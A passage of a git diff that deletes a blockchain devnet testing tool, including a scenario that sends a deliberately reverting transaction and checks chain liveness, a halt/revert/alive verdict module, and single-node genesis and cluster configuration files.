= "0x6005600c60003960056000f360006000fd" - -PARAMS = {"window": float} # 观察窗口秒数 - - -def run(*, preset, instance: int = 0, params: dict) -> dict: - cp = resolve_cluster(preset, int(instance)) - w3 = make_web3(cp.rpc_url()) - node_id = cp.node_ids()[0] - pid_alive = lambda: _pid_alive(cp.pid_file(node_id)) - - result: dict = {"scenario": "revert-probe", "expected": "revert", "rpc": cp.rpc_url()} - err = preflight_error(cp, w3) - if err: - result.update(err) - return result - - chain_id = w3.eth.chain_id - faucet = faucet_account() - fees = suggest_fees(w3) - steps: list[str] = [] - - # 1) 部署永远 revert 的合约 R - dep_tx = { - "from": faucet.address, "data": REVERT_INITCODE, "value": 0, - "nonce": w3.eth.get_transaction_count(faucet.address), "gas": 200000, - "chainId": chain_id, **fees, - } - dep_rcpt = w3.eth.wait_for_transaction_receipt(_send_raw(w3, faucet, dep_tx), timeout=60) - R = dep_rcpt["contractAddress"] - if not R or int(dep_rcpt["status"]) != 1: - result["verdict"] = "error" - result["detail"] = f"部署 revert 合约失败: {dict(dep_rcpt)}" - return result - result["revert_contract"] = R - steps.append(f"部署永远 revert 的合约 R={R}") - - # 2) 调用 R,预期该交易 revert(gas 写死避免 estimate_gas 因预执行 revert 而抛错) - call_tx = { - "from": faucet.address, "to": R, "value": 0, "data": "0x", - "nonce": w3.eth.get_transaction_count(faucet.address), "gas": 100000, - "chainId": chain_id, **fees, - } - call_hash = _send_raw(w3, faucet, call_tx) - steps.append(f"发送注定 revert 的调用 tx={call_hash}") - - # 3) 判定:链是否仍在出块 - window = float(params.get("window", 10)) - probe = probe_liveness(w3, window_s=window, min_delta=1, pid_alive=pid_alive) - result["liveness"] = probe.as_dict() - - verdict = probe.verdict - detail = probe.detail - if verdict == Verdict.ALIVE: - try: - r = w3.eth.get_transaction_receipt(call_hash) - status = int(r["status"]) - result["call_receipt"] = {"status": status, "block": int(r["blockNumber"])} - if status == 0: - verdict = Verdict.REVERT - detail = "链存活;调用交易按预期 revert(status=0),普通 revert 被优雅处理" - else: - detail = "链存活,但调用交易竟然成功(status=1)——合约未按预期 revert" - except Exception as e: - detail = f"链存活但读回执失败: {e}" - - result["verdict"] = verdict.value - result["detail"] = detail - result["steps"] = steps - return result diff --git a/tools/gnode/gnodelib/verdict.py b/tools/gnode/gnodelib/verdict.py deleted file mode 100644 index 8940c49a..00000000 --- a/tools/gnode/gnodelib/verdict.py +++ /dev/null @@ -1,94 +0,0 @@ -"""三态判定:halt / revert / alive(+ 进程 panic)。 - -攻击场景的核心断言:一次注入之后,链是「停摆(halt)」、「交易回滚但链活(revert)」 -还是「安然无恙(alive)」。single-node 下 state-fork 表现为节点 panic/halt, -多节点档另可跨节点比 state_root。 -""" -from __future__ import annotations - -import time -from dataclasses import dataclass, field -from enum import Enum -from typing import Optional - -from web3 import Web3 - - -class Verdict(str, Enum): - ALIVE = "alive" # 链继续正常出块 - HALT = "halt" # 出块停摆(RPC 卡死或高度不再增长) - PANIC = "panic" # 节点进程直接挂掉 - REVERT = "revert" # 目标交易回滚,但链仍在出块 - INCONCLUSIVE = "inconclusive" # 注入未按预期成形(如未同块/未按序),结论不成立,应重试 - ERROR = "error" # 场景执行出错(如节点不健康、部署失败) - - -@dataclass -class HaltProbe: - verdict: Verdict - start_block: Optional[int] - end_block: Optional[int] - window_s: float - detail: str = "" - extra: dict = field(default_factory=dict) - - def as_dict(self) -> dict: - return { - "verdict": self.verdict.value, - "start_block": self.start_block, - "end_block": self.end_block, - "window_s": self.window_s, - "detail": self.detail, - **({"extra": self.extra} if self.extra else {}), - } - - -def _safe_block_number(w3: Web3) -> Optional[int]: - try: - return int(w3.eth.block_number) - except Exception: - return None - - -def probe_liveness( - w3: Web3, - *, - window_s: float = 12.0, - poll_s: float = 1.0, - min_delta: int = 1, - pid_alive=None, -) -> HaltProbe: - """在 window_s 窗口内观察出块是否推进,判定 alive / halt / panic。 - - pid_alive: 可选 callable()->bool,用于区分「halt(进程在但不出块)」与「panic(进程没了)」。 - """ - start = _safe_block_number(w3) - if start is None: - # 一开始就连不上 RPC - if pid_alive is not None and not pid_alive(): - return HaltProbe(Verdict.PANIC, None, None, 0.0, "RPC 无响应且进程已退出") - return HaltProbe(Verdict.HALT, None, None, 0.0, "RPC 无响应(进程仍在)") - - deadline = time.time() + window_s - end = start - while time.time() < deadline: - time.sleep(poll_s) - cur = _safe_block_number(w3) - if cur is None: - if pid_alive is not None and not pid_alive(): - return HaltProbe(Verdict.PANIC, start, end, window_s, "观察期内 RPC 断开且进程退出") - return HaltProbe(Verdict.HALT, start, end, window_s, "观察期内 RPC 断开(进程仍在)") - end = cur - if cur - start >= min_delta: - return HaltProbe( - Verdict.ALIVE, start, end, window_s, - f"出块推进 {start}→{end}", - ) - - # 窗口内高度没有推进到阈值 - if pid_alive is not None and not pid_alive(): - return HaltProbe(Verdict.PANIC, start, end, window_s, "进程已退出且未出块") - return HaltProbe( - Verdict.HALT, start, end, window_s, - f"{window_s:.0f}s 内高度停在 {start}(未推进 ≥{min_delta}),判定 halt", - ) diff --git a/tools/gnode/presets/1node/cluster.toml b/tools/gnode/presets/1node/cluster.toml deleted file mode 100644 index 2e5eed51..00000000 --- a/tools/gnode/presets/1node/cluster.toml +++ /dev/null @@ -1,28 +0,0 @@ -# Gravity Cluster Configuration - 1 Validator -# Node deployment configuration only - -[cluster] -name = "gravity-devnet-one" -base_dir = "/tmp/gnode-1node" - - -[genesis_source] -genesis_path = "./artifacts/genesis.json" -waypoint_path = "./artifacts/waypoint.txt" - -[[nodes]] -id = "node1" -role = "genesis" -source = { project_path = "../" } # 复用本地已构建的 target/quick-release/gravity_node,避免重新 clone+build -host = "127.0.0.1" -validator_port = 6280 -vfn_port = 6290 -rpc_port = 8645 -metrics_port = 9101 -inspection_port = 10100 -https_port = 1124 -authrpc_port = 8651 -reth_p2p_port = 12124 - -[faucet_init] -num_accounts = 10100 diff --git a/tools/gnode/presets/1node/genesis.toml b/tools/gnode/presets/1node/genesis.toml deleted file mode 100644 index dc503932..00000000 --- a/tools/gnode/presets/1node/genesis.toml +++ /dev/null @@ -1,79 +0,0 @@ -# Gravity Genesis Configuration - 1 Validator - -[dependencies.genesis_contracts] -repo = "https://github.com/Galxe/gravity_chain_core_contracts.git" -ref = "main" - -# Genesis validators with stake and voting power -[[genesis_validators]] -id = "node1" -address = "0xAEd2a948892475F800A337427B3275D190EA3e94" -host = "127.0.0.1" -validator_port = 6280 -vfn_port = 6290 -stake_amount = "2000000000000000000" -voting_power = "2000000000000000000" -consensus_pop = "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" - -[genesis] -chain_id = 1337 -epoch_interval_micros = 7200000000 -major_version = 1 -consensus_config = "0x0301010a00000000000000280000000000000001010000000a000000000000000100010200000000000000000020000000000000" -execution_config = "0x00" -initial_locked_until_micros = 1798848000000000 - -[genesis.faucet] -address = "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266" -balance = "0x2000000000000000000000000000000000000000000000000000000000000000" - -[genesis.validator_config] -minimum_bond = "1000000000000000000" -maximum_bond = "1000000000000000000000000" -unbonding_delay_micros = 604800000000 -allow_validator_set_change = true -voting_power_increase_limit_pct = 20 -max_validator_set_size = "100" -auto_evict_enabled = false -auto_evict_threshold_pct = 0 - -[genesis.staking_config] -minimum_stake = "1000000000000000000" -lockup_duration_micros = 86400000000 -unbonding_delay_micros = 86400000000 - -[genesis.governance_config] -min_voting_threshold = "1000000000000000000" -required_proposer_stake = "10000000000000000000" -voting_duration_micros = 604800000000 - -[genesis.randomness_config] -variant = 1 -secrecy_threshold = 9223372036854775808 -reconstruction_threshold = 12297829382473033728 -fast_path_secrecy_threshold = 12297829382473033728 - -[genesis.oracle_config] -source_types = [1] -callbacks = ["0x00000000000000000000000000000001625F4001"] - -[genesis.oracle_config.bridge_config] -deploy = true -trusted_bridge = "0xcbEAF3BDe82155F56486Fb5a1072cb8baAf547cc" -trusted_source_id = 11155111 - -[[genesis.oracle_config.tasks]] -source_type = 0 -source_id = 11155111 -task_name = "sepolia" -config = "gravity://0/11155111/events?contract=0x0f761B1B3c1aC9232C9015A7276692560aD6a05F&eventSignature=0x5646e682c7d994bf11f5a2c8addb60d03c83cda3b65025a826346589df43406e&fromBlock=10201260" - -[genesis.jwk_config] -issuers = ["0x68747470733a2f2f6163636f756e74732e676f6f676c652e636f6d"] - -[[genesis.jwk_config.jwks]] -kid = "f5f4c0ae6e6090a65ab0a694d6ba6f19d5d0b4e6" -kty = "RSA" -alg = "RS256" -e = "AQAB" -n = "2K7epoJWl_aBoYGpXmDBBiEnwQ0QdVRU1gsbGXNrEbrZEQdY5KjH5P5gZMq3d3KvT1j5KsD2tF_9jFMDLqV4VWDNJRLgSNJxhJuO_oLO2BXUSL9a7fLHxnZCUfJvT2K-O8AXjT3_ZM8UuL8d4jBn_fZLzdEI4MHrZLVSaHDvvKqL_mExQo6cFD-qyLZ-T6aHv2x8R7L_3X7E1nGMjKVVZMveQ_HMeXvnGxKf5yfEP0hIQlC_kFm4L_1kV1S0UPmMptZL2qI4VnXqmqI6TZJyE-3VXHgNn1Z1O_9QZlPC0fF0spLHf2S3nNqI0v3k2E7q3DkqxVf5xvn7q_X-gPqzVE9Jw" diff --git a/tools/gnode/presets/prague/cluster.toml b/tools/gnode/presets/prague/cluster.toml deleted file mode 100644 index 8e764ca9..00000000 --- a/tools/gnode/presets/prague/cluster.toml +++ /dev/null @@ -1,27 +0,0 @@ -# Gravity Cluster Configuration - Prague Hardfork (EIP-2935 + EIP-7702) Suite -# Single-node devnet with Prague activated on block 1. - -[cluster] -name = "gravity-devnet-prague" -base_dir = "/tmp/gnode-prague" - -[genesis_source] -genesis_path = "./artifacts/genesis.json" -waypoint_path = "./artifacts/waypoint.txt" - -[[nodes]] -id = "node1" -role = "genesis" -source = { project_path = "../" } -host = "127.0.0.1" -validator_port = 6284 -vfn_port = 6294 -rpc_port = 8647 -metrics_port = 9105 -inspection_port = 10104 -https_port = 1126 -authrpc_port = 8655 -reth_p2p_port = 12128 - -[faucet_init] -num_accounts = 10000 diff --git a/tools/gnode/presets/prague/genesis.toml b/tools/gnode/presets/prague/genesis.toml deleted file mode 100644 index e7f354a8..00000000 --- a/tools/gnode/presets/prague/genesis.toml +++ /dev/null @@ -1,87 +0,0 @@ -# Gravity Genesis Configuration - Prague Hardfork Suite -# -# !! pragueTime must be > genesis_timestamp_secs so the EIP-2935 deployment -# hook (pipe-exec eip_2935.rs gate parent_ts < pragueTime <= current_ts) -# fires on block 1. Change one, change the other. - -[dependencies.genesis_contracts] -repo = "https://github.com/Galxe/gravity_chain_core_contracts.git" -ref = "main" - -[[genesis_validators]] -id = "node1" -address = "0xAEd2a948892475F800A337427B3275D190EA3e94" -host = "127.0.0.1" -validator_port = 6284 -vfn_port = 6294 -stake_amount = "10000000000000000000" -voting_power = "10000000000000000000" -consensus_pop = "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" - -[genesis] -chain_id = 1337 -genesis_timestamp_secs = 1775664000 -epoch_interval_micros = 60000000 -major_version = 1 -consensus_config = "0x0301010a00000000000000280000000000000001010000000a000000000000000100010200000000000000000020000000000000" -execution_config = "0x00" -initial_locked_until_micros = 1798848000000000 - -[genesis.hardforks] -pragueTime = 1775664001 - -[genesis.faucet] -address = "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266" -balance = "0x2000000000000000000000000000000000000000000000000000000000000000" - -[genesis.validator_config] -minimum_bond = "1000000000000000000" -maximum_bond = "1000000000000000000000000" -unbonding_delay_micros = 604800000000 -allow_validator_set_change = true -voting_power_increase_limit_pct = 20 -max_validator_set_size = "100" -auto_evict_enabled = false -auto_evict_threshold = "0" - -[genesis.staking_config] -minimum_stake = "1000000000000000000" -lockup_duration_micros = 86400000000 -unbonding_delay_micros = 86400000000 -minimum_proposal_stake = "10000000000000000000" - -[genesis.governance_config] -min_voting_threshold = "1000000000000000000" -required_proposer_stake = "10000000000000000000" -voting_duration_micros = 604800000000 - -[genesis.randomness_config] -variant = 1 -secrecy_threshold = 9223372036854775808 -reconstruction_threshold = 12297829382473033728 -fast_path_secrecy_threshold = 12297829382473033728 - -[genesis.oracle_config] -source_types = [1] -callbacks = ["0x00000000000000000000000000000001625F4001"] - -[genesis.oracle_config.bridge_config] -deploy = true -trusted_bridge = "0xcbEAF3BDe82155F56486Fb5a1072cb8baAf547cc" -trusted_source_id = 11155111 - -[[genesis.oracle_config.tasks]] -source_type = 0 -source_id = 11155111 -task_name = "sepolia" -config = "gravity://0/11155111/events?contract=0x0f761B1B3c1aC9232C9015A7276692560aD6a05F&eventSignature=0x5646e682c7d994bf11f5a2c8addb60d03c83cda3b65025a826346589df43406e&fromBlock=10201260" - -[genesis.jwk_config] -issuers = ["0x68747470733a2f2f6163636f756e74732e676f6f676c652e636f6d"] - -[[genesis.jwk_config.jwks]] -kid = "f5f4c0ae6e6090a65ab0a694d6ba6f19d5d0b4e6" -kty = "RSA" -alg = "RS256" -e = "AQAB" -n = "2K7epoJWl_aBoYGpXmDBBiEnwQ0QdVRU1gsbGXNrEbrZEQdY5KjH5P5gZMq3d3KvT1j5KsD2tF_9jFMDLqV4VWDNJRLgSNJxhJuO_oLO2BXUSL9a7fLHxnZCUfJvT2K-O8AXjT3_ZM8UuL8d4jBn_fZLzdEI4MHrZLVSaHDvvKqL_mExQo6cFD-qyLZ-T6aHv2x8R7L_3X7E1nGMjKVVZMveQ_HMeXvnGxKf5yfEP0hIQlC_kFm4L_1kV1S0UPmMptZL2qI4VnXqmqI6TZJyE-3VXHgNn1Z1O_9QZlPC0fF0spLHf2S3nNqI0v3k2E7q3DkqxVf5xvn7q_X-gPqzVE9Jw"